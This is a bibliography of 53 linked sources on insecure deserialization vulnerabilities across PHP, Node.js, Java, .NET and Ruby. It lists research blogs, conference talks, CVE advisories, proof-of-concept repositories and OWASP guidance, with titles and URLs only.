 
 
 ## References
 
 - [1] [NotSoSecure – Remote Code Execution via PHP unserialize()](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)
 - [2] [Exploit-DB – Deserialization Vulnerability (PDF)](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
 - [3] [SecurityCafe – Understanding PHP Object Injection](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
 - [4] [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
 - [5] [Huli's Blog – Google CTF 2022 Horkos Writeup](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/)
 - [6] [OPSECX – Exploiting Node.js Deserialization Bug for Remote Code Execution](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)
 - [7] [Acunetix – Deserialization Vulnerabilities: Attacking Deserialization in JS](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
 - [8] [HackerOne Report #350418 – Cryo library RCE](https://hackerone.com/reports/350418)
 - [9] [RSC Vuln Lab – CVE-2025-55182 (React 19.2.0 Server Actions)](https://github.com/ghe770mvp/RSC_Vuln_Lab)
 - [10] [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
 - [11] [Foxglove Security – What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
 - [12] [GadgetInspector talk](https://www.youtube.com/watch?v=wPbW6zQ52w8)
 - [13] [BlackHat – Automated Discovery of Deserialization Gadget Chains (slides)](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
 - [14] [deadcode.me – Blind Java Deserialization: Commons Gadgets](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
 - [15] [deadcode.me – Blind Java Deserialization Part II](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
 - [16] [AppSecCali – Marshalling Pickles (Java deserialization talk)](http://frohoff.github.io/appseccali-marshalling-pickles/)
 - [17] [YouTube – Java deserialization exploitation talk](https://www.youtube.com/watch?v=VviY3O-euVQ)
 - [18] [marshalsec paper](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
 - [19] [BlackHat – Friday the 13th: JSON Attacks (paper)](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
 - [20] [BlackHat – Friday the 13th: JSON Attacks (talk)](https://www.youtube.com/watch?v=oUAeWhW5b8c)
 - [21] [BlackHat – Friday the 13th: JSON Attacks (slides)](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
 - [22] [Seebug Paper – Deserialization CVEs](https://paper.seebug.org/123/)
 - [23] [OWASP Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
 - [24] [DZone – Why Runtime Compartmentalization Is the Most Comprehensive Mitigation](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
 - [25] [BlackHat – Pwning Your Java Messaging With Deserialization Vulnerabilities (slides)](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
 - [26] [JMET talk](https://www.youtube.com/watch?v=0h8DWiOWGGA)
 - [27] [Forshaw – Are You My Type? (BlackHat 2012 paper)](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
 - [28] [SlideShare – Dangerous Contents: Securing .Net Deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
 - [29] [Microsoft Security Intelligence – CVE-2025-59287 WSUS unsafe deserialization](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior%3AWin32%2FSuspWsusActivity.A&ThreatID=2147955104)
 - [30] [PoC – tecxx/CVE-2025-59287-WSUS](https://github.com/tecxx/CVE-2025-59287-WSUS)
 - [31] [CodeClimate – Rails Remote Code Execution Vulnerability Explained](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
 - [32] [StarLabs – Sending Myself GitHub.com Environment Variables and GHES Shell (archived)](https://web.archive.org/web/20260000000000id_/https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)
 - [33] [GitHub Blog – Execute Commands by Sending JSON: Learn How Unsafe Deserialization Vulnerabilities Work in Ruby Projects](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/)
 - [34] [Conviso AppSec – From Arbitrary File Write to RCE in Restricted Rails Apps](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)
 - [35] [Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits](https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/)
 - [36] [elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain](https://www.elttam.com/blog/ruby-deserialization/)
 - [37] [Trail of Bits – Auditing RubyGems.org (Marshal findings)](https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/)
 - [38] [Include Security – Discovering Deserialization Gadget Chains in Rubyland](https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/)
 - [39] [GitHub Security Lab – Ruby Unsafe Deserialization (CodeQL query help)](https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/)
 - [40] [GitHub Security Lab – Ruby Unsafe Deserialization PoCs repo](https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization)
 - [41] [OWASP Deserialization Cheat Sheet - .NET/C#](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
 - [42] [Phrack #69 - Rails 3/4 Marshal chain](https://phrack.org/issues/69/12.html)
 - [43] [CVE-2019-5420 (Rails 5.2 insecure deserialization)](https://nvd.nist.gov/vuln/detail/CVE-2019-5420)
 - [44] [ZDI - RCE via Ruby on Rails Active Storage insecure deserialization](https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization)
 - [45] [Doyensec PR - Ruby 3.4 gadget](https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1)
 - [46] [Luke Jahnke - Ruby 3.4 universal chain](https://nastystereo.com/security/ruby-3.4-deserialization.html)
 - [47] [Luke Jahnke - Gem::SafeMarshal escape](https://nastystereo.com/security/ruby-safe-marshal-escape.html)
 - [48] [Ruby 3.4.0-rc1 release](https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1)
 - [49] [Ruby PR #12444 - Merge RubyGems 3.6.2 and Bundler 2.6.2](https://github.com/ruby/ruby/pull/12444)
 - [50] [NCC Group – Freddy](https://github.com/nccgroup/freddy)
 - [51] [es.slideshare.net - Java Deserialization Vulnerabilities The Forgotten Bug Class](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
 - [52] [alphabot.com - Fastjson Exceptional Deserialization Vulnerabilities](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
 - [53] [elttam – Ruby 4.0 Universal RCE Deserialization Gadget Chain](https://elttam.com/blog/ruby-4-0-universal-rce-deserialization-gadget-chain)